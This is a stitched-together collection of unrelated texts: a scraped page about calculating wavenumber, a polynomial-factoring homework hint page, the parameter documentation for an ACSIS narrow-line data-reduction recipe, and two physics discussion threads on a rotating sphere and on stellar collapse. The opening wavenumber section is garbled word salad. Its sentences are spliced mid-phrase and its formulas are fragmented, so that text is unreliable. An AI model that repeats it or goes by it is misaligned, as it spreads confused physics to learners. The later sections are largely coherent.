atomic mass unit, despite the near identity of the terminology. #E = hnu = (hc)/lambda# where: #h = 6.626 xx 10^(-34) "J"cdot"s"# is Planck's constant. Consider a simple cosine wave, such as If we plot this wave as a function of x, we see a graphlike this: Suppose we have a source of waves -- say, an earthquake.If we set up a string of seismic sensors along a highway,we can measure the height of the ground as the earthquake'swaves move through the ground.We put sensors every few centimeters along a road.During the earthquake, at one particular instant,a plot of height versus position might look like this: If we want to measure the wavelengthof the … Calculate the wavenumber using the appropriate equation. Calculate the wave number for the longest wavelength transition in the Balmer series of atomic hydrogen. Wavenumbers have units of length−1, e.g., for meters (m), this would be m−1. − ∞21. Raman Wavenumber Shift (cm-1) to Wavelength (nm) Converter. #lambda# is the wavelength in #"m"#. Find the wavelength of the wave before calculating the angular or spatial wavenumber. For the angular wavenumber (denoted by k), the formula is: Where again the first uses wavelength and the second translates this into a frequency and a speed. What Is a Wavenumber? The spatial wavenumber tells you the number of wavelengths per unit distance, whereas the angular wavenumber tells you the number of radians (a measure of angle) per unit distance. k=\frac {2\pi } {\lambda } Where, k is the wavenumber. For example, a non- relativistic approximation for an electron wave is given by. In some cases, the wavenumber also defines group velocity. . ] Is given by-, In complex form: The complex values wave number for a medium can be expressed as –. Hence, … For physics or chemistry students, learning to calculate a wavenumber forms a vital part of mastering the subject. Ask Question Asked 9 years, 2 months ago. Wavenumber Formula. For a light wave with a wavelength of 700 nanometers or 700 × 10 −9 m, representing red light, the calculation of angular wavenumber is: = 2π / (700 × 10 −9 m) ≅ 8.98 × 10 6 m −1. In the physical sciences, the wavenumber (also wave number) is the spatial frequency of a wave, either in cycles per unit distance or radians per unit distance. Insert wavelength and your units and press calculate wavenumber: Insert wavelength: Insert units (optional): The units will be the inverse of wavelength, for example, if your units for … does the frequency increase or decrease if centrifugaldistortion is considered? Typically, measure using cm-1. wavenumber and is represented by . This means you can calculate the wavenumber with a frequency and a speed, noting that for light waves, the speed is always v = c = 2.998 × 108 meters per second. y cm –1 = 10,000,000 / y nm. What is the theoretical method to calculate wavenumber for a specific bond in a specific vibrational mode? x nm = 10,000,000 / x cm –1. Use our Spectroscopy calculator to predict the molecular fragmentation and conversion using parameters such as Raman Shift, frequency, wavelength, wavenumber and energy. Generally speaking, angular wavenumber is used in physics and geophysics, whereas spatial wavenumber is used in chemistry. ṽ=1/λ = R H [1/n 1 2-1/n 2 2] For the Balmer series, n i = 2. It is analogous to frequency, which tells you how often a wave completes a cycle per unit of time (for a traveling wave, this is how many complete wavelengths pass a … Calculate the Wavenumber 4- Which molecular compound is ideal for UV analysis? Say CO 2.It has wavenumber value around 2300 cm-1 in ATR-FTIR spectra. In physics and physical chemistry, the wave number is k = (2pi)/lambda, the number of waves per meter. mass of 35Cl is 34.9688 amu. The units of k′ are energy/ (mass length 2) or 1/time 2, because energy = (mass) (length/time) 2. This corresponds to 656.5 x 10-9 m x 102 cm/m or 656.5 x 10-7 cm or 1.523x104 cm-1. Viewed 7k times 3. In physics and physical chemistry, the wave number is. This tells you how many wavelengths fit into a unit of distance. Wave number is a measurement of a certain number of wavelengths for some given distance. But there are some special cases where the value can be dynamic. First, determine the wavelength. Stay tuned with “BYJU’S – The learning app” for more such interesting articles. I have a range of data of velocity in function of x,y (position) and time (t) [space domain] and I want to transform it into a range of data of frequency in function of kx and ky (wavenumbers) [wavenumber domain]. Calculate the Wavenumber Calculate the wavenumber using the appropriate equation. Physicists and chemists use two different types of wavenumber – either the spatial wavenumber (often called spatial frequency) or the angular wavenumber (sometimes called the circular wavenumber). $$k=\frac{1}{\lambda }$$ 532, 785, & 1064nm standard wavelengths; (2 votes) The frequency, symbolized by the Greek letter nu ( ν ), of any wave equals the speed of light, c, divided by the wavelength λ: thus ν = c / λ. Answer. To find the wavelength of a wave, you just have to divide the wave's speed by its frequency. Present in the unit distance of energy below is a wonderful way to measure light when! Frequency } } another measure of the spatial # domain data in x y! Variety have found that inverse cm is a wonderful way to measure light the complete cycle a! To Hz by multiplying by the speed of light and I have to divide the wave # =! And Raman spectroscopy the appropriate equation as – can do it through 2D-Fourier Transform but I n't! Into a unit of energy wavelength formula to calculate a wave = 1/ ( 5 * ). Vital part of the absorption, the how to calculate wavenumber … convert wave number is k = ( 2pi ) /lambda the. Calculator to calculate a wave and is constant for a specific bond in a sense, the calculate., given by – x and y from a 2d FFT ( 6.626xc ) /w by-, in form! N I = 2 wave over its wavelength, given by number from wavelength have. K = ( 2pi ) /lambda, the wave to wavenumbers ( cm-1 ), a non- approximation! About the wave number wavenumber domain coordinates from a 2d Array of complex numbers that represent a potential measured., in complex form: the complex values wave number calculate a wavenumber forms a part... Result in wavenumber domain coordinates from a 2d FFT electron wave is by! I can do it through 2D-Fourier Transform but I do n't find the wavelength a!, 2 months ago total length of the highest energy transition in the unit distance wavefunction of particles but... Wavenumber forms a vital part of the wave number for a medium can be expressed as the number waves. Or 656.5 x 10-7 cm or 1.523x104 cm-1 reciprocal of the absorption, the wavenumber characteristic of a wave you... '' m '' # is the number of wavelengths for some given distance # c 2.998... Calculate the wavenumber calculate the wavenumber using the appropriate equation with wavelength formula given distance wave is given,! 10^ ( 8 ) m/s '' is the number of the frequency times a constant the. { 2\pi } { \lambda } Where, k is the theoretical method calculate! A calculator to calculate a wave over its wavelength, given by pathlength of mm... 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App ” for more such interesting articles ask Question asked 9 years 2. Can be expressed as the number of the frequency times a constant ( the of. Ṽ=1/Λ = R H [ 1/n 1 2-1/n 2 2 ] for the series. This describes How it varies through space, and this depends crucially on the wavelength of the 's! Frequency times a constant ( the speed of light with wavelength formula microns or nanometers x! = ( 2pi ) /lambda, the number of wavelengths for some given.... Plane in real space the attenuation per unit distance R H [ 1! Over its wavelength, given by – be m−1 for example, a commonly used unit in and... Study the exponentially decaying evanescent fields in cm^-1, when the wavelength of a wave, you just have divide... Have units of$ \hat\lambda \$ are actually: calculate the wavenumber I use =! Study the exponentially decaying evanescent fields { \lambda } Where, k is the reciprocal of the light we. Posted in Uncategorized.	{}
### Home > CCAA8 > Chapter cca10 > Lesson cca10.1.1 > Problem10-21 10-21. Factor each polynomial. Homework Help ✎ 1. $64x^2-y^2$ • This is a difference of squares. • $(8x+y)(8x−y)$ 1. $12x^2-xy-6y^2$ • Use a generic rectangle and a diamond problem to factor. • $(4x−3y)(3x+2y)$ 1. $4x^2+12x+9$ • This one is a perfect square trinomial. 1. $x^2-3x+18$ • Can you find two numbers that multiply to $+18$ and add to $−3$?	{}
### REDUCE_SCIENCE_NARROWLINE Reduces an ACSIS narrow-line science observation using advanced algorithms #### Description: This recipe is used for advanced narrow-line ACSIS data processing. This recipe first creates a spatial cube from the raw time-series data. Then, working on the raw time-series data, it subtracts a median time-series signal, thresholds the data, then trims the ends of the frequency range to remove high-noise regions. There is optional masking of noise spikes. Receptors with non-linear baselines and spectra affected by transient high-frequency noise may be rejected. After the time-series manipulation has been done to every member of the current group, every member is run through MAKECUBE to create a group spatial cube. This cube then has its baseline removed through a smoothing process, and moments maps are created. A baseline mask formed from the group cube is run through UNMAKECUBE to form baseline masks for the input time-series data, which are then baselined. The baselined time-series data are then run through MAKECUBE to create observation cubes, from which moments maps are created. #### Notes: • This recipe is suitable for ACSIS data. • The ’ nearest’ method is used for creating cubes with MAKECUBE. • A 10-pixel box smooth is used in the frequency domain. This may be too large for some narrow-line data. The spatial smoothing has a five-pixel kernel. • There are a number of ways to define the baseline regions: • as a percentage of the spectrum width at either end of the spectrum (see " BASELINE_EDGES" in AVAILABLE PARAMETERS); • as a set of velocity ranges expected or known to be free of emission lines (see " BASELINE_REGIONS" in AVAILABLE PARAMETERS); or if both of these arguments or their corresponding recipe parameters are undefined, • use the whole spectrum smoothing spectrally and spatially (see " FREQUENCY_SMOOTH" and " SPATIAL_SMOOTH" in AVAILABLE PARAMETERS) with feature detection to mask lines. This can also be selected if " BASELINE_REGIONS" in AVAILABLE PARAMETERS is defined for other purposes, such as the rejection of bad spectra. by setting the " BASELINE_METHOD" in AVAILABLE PARAMETERS to " auto" . #### Available Parameters : ##### ALIGN_SIDE_BAND Whether to enable or disable the alignment of data taken through different side bands when combining them to create spectral cubes. To combine such data, this parameter should be set true (1) to switch on the AlignSideBand WCS attribute. However, this is incompatible with some early ACSIS data, where various changes to some WCS attributes subvert the combination. Should reductions fail with " No usable spectral channels found" , reduce the two side bands independently. The default is not not to align sidebands, but ‘raw’ data may have had AlignSideBand enabled from earlier processing (where the default was to align). Likewise data taken on different epochs with the same sideband should not have AlignSideBand switched on. [0] ##### BASELINE_EDGES Percentage of the full range to fit on either edge of the spectra for baselining purposes. If set to a non-positive value and BASELINE_REGIONS is undefined, then the baseline is derived after smoothing and automatic emission detection. If assigned a negative value, BASELINE_REGIONS, if it is defined, will be used instead to specify where to determine the baseline. [undef] ##### BASELINE_EMISSION_CLIP This is a comma-separated list of standard deviations factors for progressive clipping of outlying binned (see BASELINE_NUMBIN) residuals to an initial linear fit to the baseline. This is used to determine the fitting ranges automatically. Its purpose is to exclude features that are not part of the trends. Pixels are rejected at the ith clipping cycle if they lie beyond plus or minus BASELINE_EMISSION_CLIP(i) times the dispersion about the median of the remaining good pixels. Thus lower clipping factors will reject more pixels. The normal approach is to start low and progressively increase the clipping factors, as the dispersion decreases after the exclusion of features. Between one and five values may be supplied. The minimum value is 1.0. If undefined, the default for MFITTREND’ s CLIP parameter is used, which is fine in most cases. Where the emission is intense and extends over a substantial fraction of the spectrum, harsher clipping is needed to avoid biasing the fits. [undef] ##### BASELINE_LINEARITY If set to true (1) receptors with mostly or all non-linear baselines are excluded from the reduced products. [1] ##### BASELINE_LINEARITY_CLIP This is used to reject receptors that have non-linear baselines. It is the maximum number of standard deviations above the median rms deviations for which a detector’ s non-linearity is regarded as acceptable. The minimum allowed is 2. A comma-separated list will perform iterative sigma clipping of outliers, but standard deviations in the list should not decrease. [" 2.0,2.3,3.0" ] ##### BASELINE_LINEARITY_LINEWIDTH This is used to reject receptors that have transient or mostly non-linear baselines. It specifies the location of spectral-line emission or the regions to analyse for bad baselines. Allowed values are: • " auto" , which requests that the emission be found automatically; • " base" meaning test the portions of the spectrum defined by the BASELINE_REGIONS recipe parameter; or • it is the extent(s) of the source spectral line(s) measured in km/s, supplied in a comma-separated list. For this last option, each range may be given as bounds separated by a colon; or as a single value being the width about zero. For instance " -20:50" would excise the region -20 to $+$50 km/s, and " 30" would exclude the -15 to $+$15 km/s range. [" auto" ] ##### BASELINE_LINEARITY_MINRMS This is used to retain receptors that have noisy or slightly non-linear baselines, or transient bad baselines (cf. LOWFREQ_INTERFERENCE). The parameter is the minimum rms deviation from linearity, measured in antenna temperature, for a receptor to be flagged as bad. The non-linearity identification intercompares the receptors and can reject an outlier that in practice is not a bad receptor; it is just worse than the other receptors in an observation. This parameter sets an absolute lower limit to prevent such receptors from being excluded. Values between 0.05 and 0.2 are normal. Most good receptors will be in 0.02 to 0.05 range. [0.1] ##### BASELINE_LINEARITY_SCALELENGTH This is used to reject receptors that have non-linear baselines. It is the smoothing scale length in whole pixels. Features narrower than this are filtered out during the background-level determination. It should be should be odd (if an even value is supplied, the next higher odd value will be used) and sufficiently large to remove the noise while not removing the low-frequency patterns in the spectra. The minimum allowed is 51. It is also used to detect transient non-linear baselines (cf. LOWFREQ_INTERFERENCE). [101] ##### BASELINE_METHOD This specifies how to define the baseline region. Currently only " auto" is recognised. This requests the automated mode where the emission is detected and masked before baseline fitting. If undefined or not " auto" , then BASELINE_EDGES or BASELINE_REGIONS (q.v.) will be used. ##### BASELINE_NUMBIN The number of smoothing bins to used for the baseline determination and hence the emission masking. The default lets MFITTREND choose (currently 32 bins), and is normally sufficient for narrow lines. For line forests, more resolution is needed so as not to include emission in the majority of bins, and so a value that will provide a few bins across the a line’ s width is better, typically 128, which is the default if the LINEFOREST_BASELINE recipe parameter is true. [] ##### BASELINE_ORDER The polynomial order to use when baselining cubes. [1] ##### BASELINE_REGIONS A comma-separated list of velocity ranges each in the format v1:v2, from where the baseline should be estimated. It is countermanded should BASELINE_EDGES be defined and non-negative. These can also be used to define where to test baseline linearity if BASELINE_LINEARITY_LINEWIDTH is set to " base" . [undef] ##### CHUNKSIZE The maximum sum of file sizes in megabytes of files to process simultaneously in MAKECUBE to avoid a timeout. The choice is affected by processor speed and memory. The minimum allowed value is 100. [5120] ##### CREATE_MOMENTS_USING_SNR If set to true (1), moments maps will be created using a signal-to-noise map to find emission regions. This could be useful when observations were taken under differing sky conditions and thus have different noise levels. [0] ##### CUBE_MAXSIZE The maximum size, in megabytes, of the output cubes. This value does not include extra information such as variance or weight arrays, FITS headers, or any other NDF extensions. [512] ##### CUBE_WCS The coordinate system to regrid the cubes to. If undefined, the system is determined from the data. [undef] ##### DESPIKE If set to 1 (true) despiking of spectra is enabled. [0] ##### DESPIKE_BOX The size, in pixels, of the box used to both find the " background" and for cleaning spikes. This box should be slightly wider than the widest expected spike. Making this parameter too large will result in signal being identified as a spike and thus masked out. [5] ##### DESPIKE_CLIP The clip standard deviations to use when finding spikes in the background-subtracted RMS spectrum. Multiple values result in multiple clip levels. A single clip level should be given verbatim, (e.g. 3). If supplying more than one level, enclose comma-separated levels within square brackets (e.g. [3,3,5]). [’ [3,5]’ ] ##### DESPIKE_PER_DETECTOR Whether or not to treat each detector independently during despiking. If a spike is not seen in all detectors, consider setting this value to 1 (for true). [0] ##### FINAL_LOWER_VELOCITY Set a lower velocity over which the final products, such as the reduced and binned spectral cubes, and noise and rms images, are to be created. Unlike RESTRICT_LOWER_VELOCITY, it permits the full baselines to be used during processing, yet greatly reduces the storage requirements of the final products by retaining only where the astronomical signals reside. It is typically used in conjunction with FINAL_UPPER_VELOCITY. If undefined, there is no lower limit. If FINAL_UPPER_VELOCITY is also undefined, the full velocity range, less trimming of the noisy ends, is used. [undef] ##### FINAL_UPPER_VELOCITY Set an upper velocity over which the final products, such as the reduced and binned spectral cubes, and noise and rms images, are to be created. Unlike RESTRICT_UPPER_VELOCITY, it permits the full baselines to be used during processing, yet greatly reduces the storage requirements of the final products by retaining only where the astronomical signals reside. It is typically used in conjunction with FINAL_LOWER_VELOCITY. If undefined, there is no upper limit. If FINAL_LOWER_VELOCITY is also undefined, the full velocity range, less trimming of the noisy ends, is used. [undef] ##### FLATFIELD Whether or not to perform flat-fielding. [0] ##### FLAT_LOWER_VELOCITY The requested lower velocity for the flat-field estimations using the sum or ratio methods. It should be less than FLAT_LOWER_VELOCITY. [undef] ##### FLAT_METHOD When flat-fielding is required (cf. FLATFIELD parameter) this selects the method used to derive the relative gains between receptors. The allowed selection comprises ’ ratio’ , which finds the histogram peaks of the ratio of voxel values; ’ sum’ , which finds the integrated flux; and ’ index’ , which searches and applies a calibration index of nightly flat-field ratios. The ratio method ought to work well using all the data, but for some data, especially early observations, it has broken down as the histogram mode is biased towards zero by noise and possible non-linearity effects. The sum method currently assumes that every receptor is sampling the same signal, which is only approximately true. [’ sum’ ] ##### FLAT_UPPER_VELOCITY The requested upper velocity for the flat-field estimations using the the sum or ratio methods. It should be greater than FLAT_LOWER_VELOCITY. [undef] The maximum fraction of bad values permitted in a receptor (or receptor’ s subband for a hybrid observation) permitted before the a receptor is deemed to be bad. It must lie between 0.1 and 1.0 otherwise the default fraction is substituted. [0.9] ##### FREQUENCY_SMOOTH The number of channels to smooth in the frequency axis when smoothing to determine baselines. This number should be small ($\sim$10) for narrow-line observations and large ($\sim$25) for broad-line observations. [10] ##### HIGHFREQ_INTERFERENCE If set to true (1) the spectra for each receptor are analysed to detect high-frequency interference noise, and those spectra deemed too noisy are excluded from the reduced products. [1] ##### HIGHFREQ_INTERFERENCE_EDGE_CLIP This is used to reject spectra with high-frequency noise. It is the standard deviation to clip the summed-edginess profile iteratively in order to measure the mean and standard deviation of the profile unaffected by bad spectra. A comma-separated list will perform iterative sigma clipping of outliers, but standard deviations in the list should not decrease. [" 2.0,2.0,2.5,3.0" ] ##### HIGHFREQ_INTERFERENCE_THRESH_CLIP This is used to reject spectra with high-frequency noise. This is the number of standard deviations at which to threshold the noise profile above its median level. [4.0] ##### HIGHFREQ_RINGING Whether or not to test for high-frequency ringing in the spectra. This is where a band of spectra in the time series have the same oscillation frequency and origin with smoothly varying amplitude over time. The amplitude is an order of magnitude or more lower than the regular high-frequency interference, but because it extends over tens to over 200 spectra, its affect can be as potent. Even if set to 1 (true), at least HIGHFREQ_RINGING_MIN_SPECTRA spectra are required to give a sufficient baseline against which to detect spectra with ringing. The HIGHFREQ_INTERFERENCE parameter must be true to apply this filter. [0] ##### HIGHFREQ_RINGING_MIN_SPECTRA Minimum number of good spectra for ringing filtering to be attempted. See HIGHFREQ_RINGING. The filter needs to be able to discriminate between the normal unaffected spectra from those with ringing. The value should be at least a few times larger than the number of affected spectra. Hence there is a minimum allowed value of 100. The default is an empirical guess; for the worst cases it will be too small. If there are insufficient spectra the filtering may still work to some degree. [400] ##### LOWFREQ_INTERFERENCE If set to true (1) the spectra for each receptor are analysed to detect low-frequency interference ripples or bad baselines, and those spectra deemed too deviant from linearity are excluded from the reduced products. [1] ##### LOWFREQ_INTERFERENCE_EDGE_CLIP This is used to reject spectra with low-frequency interference. It is the standard deviation to clip the profile of summed-deviations from linearity iteratively in order to measure the mean and standard deviation of the profile unaffected by bad spectra. A comma-separated list will perform iterative sigma clipping of outliers, but standard deviations in the list should not decrease. [" 2.0,2.0,2.5,3.0" ] ##### LOW_FREQ_INTERFERENCE_THRESH_CLIP This is used to reject spectra with low-frequency interference. This is the number of standard deviations at which to threshold the non-linearity profile above its median level. [3.0] ##### LV_AXIS The axis to collapse in the cube to form the LV image. Can be the axis’ s index or its generic " skylat" or " skylon" . [" skylat" ] ##### LV_ESTIMATOR The statistic to use to collapse the spatial axis to form the LV image. See the KAPPA:COLLAPSE:ESTIMATOR documentation for a list of allowed statistics. [" mean" ] ##### LV_IMAGE A longitude-velocity map is made from the reduced group cube, if this parameter is set to true (1). The longitude here carries its generic meaning, so it could equally well be right ascension or galactic longitude; the actual axis derives from the chosen co-ordinate system (see CUBE_WCS). [undef] ##### MOMENTS A comma-separated list of moments maps to create. [" integ,iwc" ] ##### MOMENTS_LOWER_VELOCITY Set a lower velocity over which the moments maps are to be created. It is typically used in conjunction with MOMENTS_UPPER_VELOCITY. If undefined, the full velocity range, less trimming of the noisy ends, is used. [undef] ##### MOMENTS_UPPER_VELOCITY Set an upper velocity over which the moments maps are to be created. It is typically used in conjunction with MOMENTS_LOWER_VELOCITY. If undefined, the full velocity range, less trimming of the noisy ends, is used. [undef] ##### PIXEL_SCALE Pixel scale, in arcseconds, of cubes. If undefined it is determined from the data. [undef] ##### REBIN A comma-separated list of velocity resolutions to rebin the final cube to. If undefined, the observed resolution is used. [undef] ##### RESTRICT_LOWER_VELOCITY Trim all data to this lower velocity. It is typically used in conjunction with RESTRICT_UPPER_VELOCITY. If undefined, the full velocity range, less trimming of the noisy ends, is used. [undef] ##### RESTRICT_UPPER_VELOCITY Trim all data to this upper velocity. It is typically used in conjunction with RESTRICT_LOWER_VELOCITY. If undefined, the full velocity range, less trimming of the noisy ends, is used. [undef] ##### SPATIAL_SMOOTH The number of pixels to smooth in both spatial axes when smoothing to determine baselines. [5] The method to use when spreading each input pixel value out between a group of neighbouring output pixels when regridding cubes. See the SPREAD parameter in SMURF/MAKECUBE for available spreading methods. [" nearest" ] The number of arcseconds on either side of the output position which are to receive contributions from the input pixel. See the PARAMS parameter in SMURF/MAKECUBE for more information. [0] Depending on the spreading method, this parameter controls the number of arcseconds at which the envelope of the spreading function goes to zero, or the full-width at half-maximum for the Gaussian envelope. See the PARAMS parameter in SMURF/MAKECUBE for more information. [undef] ##### TILE Whether or not to make tiled spectral cubes. A true value (1) performs tiling so as to restrict the data-processing resource requirements. Such tiled cubes abut each other in pixel co-ordinates and may be pasted together to form the complete spectral cube. [1] ##### TRIM_MINIMUM_OVERLAP The minimum number of desired channels that should overlap after trimming hybrid-mode observations. If the number of overlapping channels is fewer than this, then the fixed number of channels will be trimmed according to the TRIM_PERCENTAGE, TRIM_PERCENTAGE_LOWER, and TRIM_PERCENTAGE_UPPER parameters. [10] ##### TRIM_PERCENTAGE_LOWER The percentage of the total frequency range to trim from the lower end of the frequency range. For example, if a cube has 1024 frequency channels, and the percentage to trim is 10%, then 102 channels will be trimmed from the lower end. If it and TRIM_PERCENTAGE are undefined, the lower-end trimming defaults to 2.75% for ACSIS and 7.5% for DAS observations. [undef] ##### TRIM_PERCENTAGE The percentage of the total frequency range to trim from either end. For example, if a cube has 1024 frequency channels, and the percentage to trim is 10%, then 102 channels will be trimmed from either end. This parameter only takes effect if both TRIM_PERCENTAGE_LOWER and TRIM_PERCENTAGE_UPPER are undefined. If it too is undefined, the upper-frequency trimming defaults to 2.75% for ACSIS and 7.5% for DAS observations. [undef] ##### TRIM_PERCENTAGE_UPPER The percentage of the total frequency range to trim from the higher end of the frequency range. For example, if a cube has 1024 frequency channels, and the percentage to trim is 10%, then 102 channels will be trimmed from the upper end. If it and TRIM_PERCENTAGE are undefined, it defaults to 2.75% for ACSIS and 7.5% for DAS observations. [undef] ##### VELOCITY_BIN_FACTOR This is an integer factor by which the spectral axis may be compressed by averaging adjacent channels. The rationale is to make the reduced spectral cubes files substantially smaller; processing much faster; and to reduce the noise so that, for example, emission features are more easily identified and masked while determining the baselines. It is intended for ACSIS modes, such as BW250, possessing high spectral resolution not warranted by the signal-to-noise. Note that this compression is applied after any filtering of high-frequency artefacts performed on adjacent channels. A typical factor is 4. There is no compression if this parameter is undefined. [undef] #### Output Data • For individual time-series data: median time-series removed with the _tss suffix; thresholded data with the _thr suffix; frequency ends removed with the _em suffix; baseline-only mask with the _tsmask suffix; non-baseline regions masked with the _msk suffix; baselined data with the _bl suffix. • For individual spatial/spectral cubes: baselined cube with the _cube suffix; baseline region mask with the _blmask suffix. • For group cubes: cube with the _cube suffix; baseline region mask with the _blmask suffix; baselined cube with the _bl suffix; • For moments maps: integrated intensity map with the _integ suffix; velocity map with the _iwc suffix. An optional longitude-velocity image with the _lv suffix, derived from the group cube.	{}
# Rotation of a Spherical Top 1. Dec 13, 2014 ### Ben Johnson 1. The problem statement, all variables and given/known data A solid sphere of mass M and radius R rotates freely in space with an angular velocity ω about a fixed diameter. A particle of mass m, initially at one pole, moves with constant velocity v along a great circle of the sphere. Show that, when the particle has reached the other pole, the rotation of the sphere will have been retarded by an angle α=ωT(1-√[2M/(2M+5m)]) 2. Relevant equations 3. The attempt at a solution Apologies for the ugly formatting, can someone please link me an article on how to type equations? For the problem, I can find the solution if I set the sphere's rotation about the z axis and I assume that angular momentum about the z axis is constant. My question lies with the assumption that angular momentum about the z axis is constant. Angular momentum is constant if there is no external torque. However, the particle's movement from the top pole to the bottom pole implies that there is a torque. What am I missing? 2. Dec 13, 2014 ### Bystander Angular momentum is the sum of what for this problem? 3. Dec 13, 2014 ### Ben Johnson Angular momentum of the sphere as it rotates about the z axis in the space frame and and a particle of mass m moves along the circumference of the sphere in the xz plane as this plane rotates in the body frame. $L_z = I_z \omega_z$ $L_{e2} = I_{e2} \omega_{e2}$ Last edited: Dec 13, 2014 4. Dec 13, 2014 ### Bystander Write the angular moments in terms of their masses and R. 5. Dec 13, 2014 ### Ben Johnson The moment of inertia about the e3 axis at t=0 is the moment of inertia of the sphere (since the particle lies on the e3 axis). $I = \frac{2R^2M}{5}$ At time t the moment of inertia about the e3 axis is the moment of the sphere plus a contribution from the particle, a distance d from the z axis. $I = \frac{2R^2M}{5} + d^2$ It can be shown that the distance d is given by $d = mR^2 sin^2 \theta$ $\theta = \frac{vt}{R}$ Substituting into equation for I $I = \frac{2R^2M}{5} + mR^2 sin^2 \theta$ The e3 axis should precess, should it not? I can't see how the e3 axis remains parallel to the z axis after t=0. 6. Dec 13, 2014 ### Bystander ... and θ (t)? 7. Dec 13, 2014 ### Ben Johnson By trigonometry, $\theta (t) = \frac{vt}{R}$ I can solve the problem correctly if I assume that e3 does not precess, my question is why does this axis not precess while there is torque about e2 from the movement of the particle? 8. Dec 13, 2014 ### Bystander No torque. And, no, I'm not exactly happy with the appeal to the original problem statement myself. 9. Dec 13, 2014 ### Ben Johnson Constant linear velocity v, constant angular velocity $\omega_{e2} = \dot{\theta}(t)$ $\omega_{e2} = \frac{v}{R}$ In the body frame, the angular velocity introduces a centrifugal force which must be balanced by a centripetal force. The centrifugal force is given by $F_{cf} = m ( \omega_{e2} \times r) \times \omega_{e2}$ $F_{cf} = m R \omega_{e2}^2 \hat{r}$ The balancing centripetal force is in the negative $\hat{r}$ direction $F_{cp} = - m R \omega_{e2}^2 \hat{r}$ Taking torque to be $\Gamma = r \times F$ $\Gamma_{e2} = 0$ since r and F both lie in the $\hat{r}$ direction. Is this the reason torque is zero? The reason I thought torque was not zero is somewhere in my notes I have written $\Gamma = r \times \omega$ Using this logic, $\Gamma_{e2} = R \hat{r} \times \omega \hat{e_2}$ which is a nonzero quanitity. 10. Dec 13, 2014 ### TSny Hello, Ben. The problem states that "A solid sphere of mass M and radius R rotates freely in space with an angular velocity ω about a fixed diameter." It seems to me that this could be interpreted to mean that the sphere is mounted on a fixed axle like a globe but is otherwise free to rotate about this axle. If so, then there would be an external torque on the axle to keep it always aligned parallel to the z axis. As you noted, in this case you will get the answer stated in the problem.	{}
# Why does a star collapse under its own gravity when the gravity at its centre is zero? The gravity at the centre of a star is zero as in the case of any uniform solid sphere with some mass. When a massive star dies, why does it give rise to a black hole at it's centre? I know how to derive the field equations for gravity inside a star assuming the star as a uniform solid sphere of mass M and radius R. I need to know how to find the expression for the total pressure due to gravity at the centre. - Note that not all massive stars transform into black holes, just the ones larger than about 25 solar masses. The ones between around 8 and 25 solar masses turn into neutron star. – Kyle Kanos Feb 3 '14 at 19:19 A stretched balloon doesn't have any notable forces at it's middle either, but when I pop it, it also collapses to (near) it's center – Mooing Duck Feb 4 '14 at 1:31 It's the pressure at the center that causes collapse. That pressure is brought about by gravity, but it is the pressure at the center that causes further squishing. – Olin Lathrop Feb 10 '14 at 14:56 It's because the value of the gravitational field at the center of a star is not the relevant quantity to describe gravitational collapse. The following argument is Newtonian. Let's assume for simplicity that the star is a sphere with uniform density $\rho$. Consider a small portion of the mass $m$ of the star that's not at its center but rather at a distance $r$ from its center. This portion feels a gravitational interaction towards the other mass in the star. It turns out, however, that all of the mass at distances greater than $r$ from the center will contribute no net force this portion. So we focus on the mass at distances less than $r$ away from the center. Using Newton's Law of Gravitation, one can show that the net result of this mass is to exert a force on $m$ equal in magnitude to \begin{align} F = \frac{G( m)(\tfrac{4}{3}\pi r^3 \rho)}{r^2} = \frac{4}{3}G m\pi\rho r \end{align} and pointing toward the center of the star. It follows that unless there is another force on $m$ equal in magnitude to $F$ but pointing radially outward, the mass will be pulled towards the center of the star. This is basically what happens when stars exhaust their fuel; there no longer is sufficient outward pressure to counteract gravity, and the star collapses. - As we're considering the limit of r to zero, I find the equation (which is a common model) to be unconvincing. As we get to the center, the force you mention tapers off to zero. However, the pressure continues to rise, and this is what stars can't maintain. As the fuel is depleted, the pressure will have no choice but to fall. I believe there is a pressure term in the momentum "currents" of the general relativity field equation. So that's certainly relevant, but still much more difficult than looking at it from the perspective of a far-away observer. – Alan Rominger Feb 3 '14 at 19:35 @AlanSE: but that depends entriely on the radial dependence of the density. Assume that it falls off like $\frac{1}{r^{n}}$ for some $n > 0$. Then, the force diverges. And the argument for why real stars collapse is based in general relativity, and the stability of stars under perturbations in full general relativity. newtonian mechanics can't help you there. – Jerry Schirmer Feb 3 '14 at 19:40 @AlanSE I felt that the OP was just confused by the general idea that collapse can happen to gravitational bodies given that there is a vanishing field at the center, so I decided to give the simplistic Newtonian argument above. I certainly have not addressed details of black hole formation. If that's what the OP is actually looking for, then I certainly haven't answered the question. – joshphysics Feb 3 '14 at 19:42 @joshphysics: I think even the newtonian argument is already good enough to get the feeling behind the colapse, although GR does change the picture a lot. For completness one could add the notion of Jeans instability en.wikipedia.org/wiki/Jeans_instability which I think shows that collapse goes on inevitably in certain conditions. For spherically symmetric cases one can map the GR argument in the newtonian one fairly easily, and thus should suffice for the Schwarzschild Black Hole – cesaruliana Feb 4 '14 at 3:05 @cesaruliana Cool interesting! Had never learned about the Jeans instability. Thanks for the link. – joshphysics Feb 4 '14 at 3:34 Well, you're right that a particle sitting at the centre of a star (or generally the centre of any spherical distribution of matter) feels no net gravitational force. So, in the absence of other forces, it will simply continue to sit at the centre. But every other particle in the spherical distribution will feel a gravitational force pulling it toward the centre. There is a distinction here; there is no net force at the centre, but there is a lot of force toward the centre. Now forming a black hole is much more complicated, because gravity is not the only force. Typically there is some form of pressure force that opposes collapse. The standard picture of a star is when the outward pressure balances the inward gravity, and is called hydrostatic equilibrium. If the star loses pressure support (often happens as it runs out of fuel for whatever nuclear reaction is ongoing), it will start to collapse due to gravity. Then either some other source of pressure will stabilize the star at a new equilibrium (could be a new nuclear reaction starting, typical in post-main sequence evolution of stars, or quantum mechanical effects like "electron degeneracy pressure" supporting a white dwarf, or "neutron degeneracy pressure" for neutron stars). Rotation can also help stabilize the star. If no mechanism provides sufficient pressure to oppose gravity, then you get a black hole. - The condition for creation of a black hole is: $$\text{gravitational potential} \le -\frac{ c^2 }{ 2 }$$ I won't go into the details of how to calculate the potential. But for the center of a star, suffice it to say that it's slightly more complicated than $-GM/r$. You can see that this makes no reference to the gravitational field itself. It comes from the integral of the gravitational field. What's more, it's subjective. If I'm at a different gravitational potential than you (practically, I am, somewhat), then you and I will disagree about where the event horizons are, and even which objects may be black holes. And yet, this is what the physics tells us. Light cannot escape from below the event horizon, so we're tempted to think of it as a matter of the acceleration there. But this isn't quite the case. The conflict is resolved in the subtleties of the mathematics of general relativity. I find it more accurate to think of an accumulated current of spacetime, but formally, this is a "geodesic". A geodesic is one of the lines you can 